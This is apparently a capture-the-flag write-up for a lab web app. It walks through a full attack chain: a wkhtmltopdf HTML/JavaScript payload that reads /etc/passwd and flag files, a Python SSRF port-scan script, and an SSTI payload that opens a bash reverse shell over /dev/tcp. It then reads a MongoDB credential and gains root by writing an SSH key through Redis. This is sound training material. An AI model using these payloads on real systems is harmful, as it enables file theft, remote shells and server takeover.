ChallengeWriteup

Day 15 Challenge Writeups

Cover Image for Day 15 Challenge Writeups
Team
Team

Vulnbydefault Day 15 Writeup

On opening the site url we have given this interface

image.png

Lets register a user

image.png

we have given this interface after login

image.png

image.png

Lets download this pdf

image.png

lets check this pdf using exiftool

image.png

Lets search for this version wkhtmltopdf 0.12.5

image.png

https://github.com/wkhtmltopdf/wkhtmltopdf/issues/4536

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

</body></html>

our payload got executed

image.png

Flag 1

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///flag.txt");
x.send();
</script>

</body></html>

image.png

There is also admin endpoint

image.png

First we need to find internal ports so that we can send this application request from internal network use this payload to find the internal port

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>
<iframe src="http://localhost:80/admin" width="100%" height="900vh"></iframe>


</body></html>

I have made this script

import requests
import threading

# Target IP and common HTTP ports
TARGET_IP = "127.0.0.1"
COMMON_HTTP_PORTS = [80, 8080, 8000, 8001, 8888, 3000, 5000, 7000, 9000]

# Define cookie and target port for PDF generator
SESSION_COOKIE = "session=eyJpc0FkbWluIjpmYWxzZSwibG9nZ2VkX2luIjp0cnVlLCJ1c2VybmFtZSI6IlN1bGl0ZWNoIn0.Z9qxwA.i1wKGC6x4ZLYSjQ_l8-LC3q8vuo"
PDFGENERATOR_PORT = 8001  # Change this if the service runs on a different port

# Headers for the requests
HEADERS = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": f"http://{TARGET_IP}:{PDFGENERATOR_PORT}/pdfgenerator",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": SESSION_COOKIE,  # Use the variable here
    "Connection": "close"
}

# Base HTML template with a placeholder for the port
HTML_TEMPLATE = """<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head>
<body>
<iframe src="http://localhost:{PORT}/admin" width="100%" height="900vh"></iframe>
</body>
</html>"""

# Shared list to store results
results = []
lock = threading.Lock()

def send_requests(port):
    """ Sends POST and GET requests to a specific port and logs response sizes """
    post_url = f"http://{TARGET_IP}:{PDFGENERATOR_PORT}/pdfgenerator"
    get_url = f"http://{TARGET_IP}:{PDFGENERATOR_PORT}/static/output.pdf"
    
    # Replace the placeholder in the HTML content with the current port
    html_content = HTML_TEMPLATE.replace("{PORT}", str(port))

    # Form encoded payload
    post_data = {"html_content": html_content}

    try:
        # Send POST request
        requests.post(post_url, headers=HEADERS, data=post_data, timeout=5)

        # Send GET request after POST
        get_response = requests.get(get_url, headers=HEADERS, timeout=5)
        get_size = len(get_response.content) if get_response.ok else 0

        # Store the result
        with lock:
            results.append((port, get_size))
            results.sort(key=lambda x: x[1], reverse=True)  # Sort descending

            # Clear screen and print top results dynamically
            print("\033c", end="")  # Clears the terminal
            for p, size in results:
                print(f"Port: {p} Bytes: {size}")

    except requests.exceptions.RequestException:
        pass  # Ignore errors

# Run brute-force on multiple threads
threads = []
for port in COMMON_HTTP_PORTS:
    t = threading.Thread(target=send_requests, args=(port,))
    threads.append(t)
    t.start()

# Wait for all threads to finish
for t in threads:
    t.join()

print("[*] Brute-force complete!")

Alright with 8000 port we have got more bytes which means it is valid port

image.png

Flag 2

Lets check it if we can access admin panel

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<body>
<iframe src="http://localhost:8000/admin" width="100%" height="900vh"></iframe>


</body></html>

image.png

Now lets create a user with ssti payload

image.png

Our payload got executed

image.png

Lets use reverse shell payload

{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ngork/port 0>&1"').read()}}

Got shell

image.png

Lets check network connections

image.png

Flag 3

lets use mongosh

image.png

Users collection

image.png

image.png

user.txt

developer:picklespicklespickles

image.png

root.txt

Lets check network connections again

image.png

6379 port is known port for redis.

Also 22 port is open which is port of ssh.

https://hackviser.com/tactics/pentesting/services/redis#unauthorized-ssh-access-via-redis-exploitation

ssh-keygen -t ecdsa -b 521 -f key
(echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
redis-cli -h 127.0.0.1 flushall
cat key.txt | redis-cli -h 127.0.0.1 -x set pwn
redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
redis-cli -h 127.0.0.1 config set dir /root/.ssh
redis-cli -h 127.0.0.1 save

image.png

image.png